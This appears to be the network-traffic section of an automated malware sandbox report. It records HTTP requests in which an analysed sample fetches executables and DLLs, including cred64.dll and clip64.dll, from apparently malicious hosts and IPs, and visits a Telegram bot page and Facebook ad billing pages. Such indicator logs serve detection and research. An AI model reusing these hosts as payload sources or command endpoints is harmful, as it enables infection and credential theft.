Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shsplatform.co.uk
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /ads/manager/account_settings/account_billing/ HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1Host: adsmanager.facebook.comUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: document
Source: global traffic	HTTP traffic detected: GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentHost: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /looking_glassbot HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.meCookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /sts/image.jpg HTTP/1.1User-Agent: HTTPREADHost: jp.imgjeoighw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0bjdn2Z/Plugins/cred64.dll HTTP/1.1Host: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /0bjdn2Z/Plugins/clip64.dll HTTP/1.1Host: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /power.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.9.74.80
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /cc.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 194.180.48.90
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BxW8kJxqzw0P12qzomNJRwrgozItfEgRk3EWuoXjIPJD8WKVzl3ytyWUZeC7awoyW0Z8t4ZHDP28ud%2BybrkNgIBo7%2BELqoJEamheGZrY5LbpU6yk3cwNxiIK07Wc32Qd"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534720978913d-FRAalt-svc: h3=":443"; ma=86400Data Raw: 38 0d 0a 04 00 00 00 1f 3d 5a ec 0d 0a Data Ascii: 8=Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UIQ7po%2FJQfMzgyeQOaBtY7rZKFMzLWkgzK2gQm6eLNZomA%2B3OHZ097pBWc%2Bx3MBx%2FgXYVPzHtMh234Ozwwmo81NBR60Lr71p9R7ujH1XMvsTtV4beJ5pZYVi5fOLTnoC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce534730a6b913d-FRAalt-svc: h3=":443"; ma=86400Data Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 9a 1d d8 47 c7 fb 19 ed 2a fe 27 0a 5d 3b bf 64 11 6d 80 5c 67 0e 61 d4 0d 0a Data Ascii: 2cUys/~(`:G*'];dm\ga
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 28 May 2023 08:42:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6QvX7m8hLuuSbIo805086YhBzga6kStShTLIU2X4M1tobeICA40gh13UTtw3YPcw5FsSDwKXoRU67hiW26cfB3vRIuXtyWjBYrKOvvGgf3ZZmP%2BwgLiWUvJigyCxClX9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7ce5349418991c3e-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
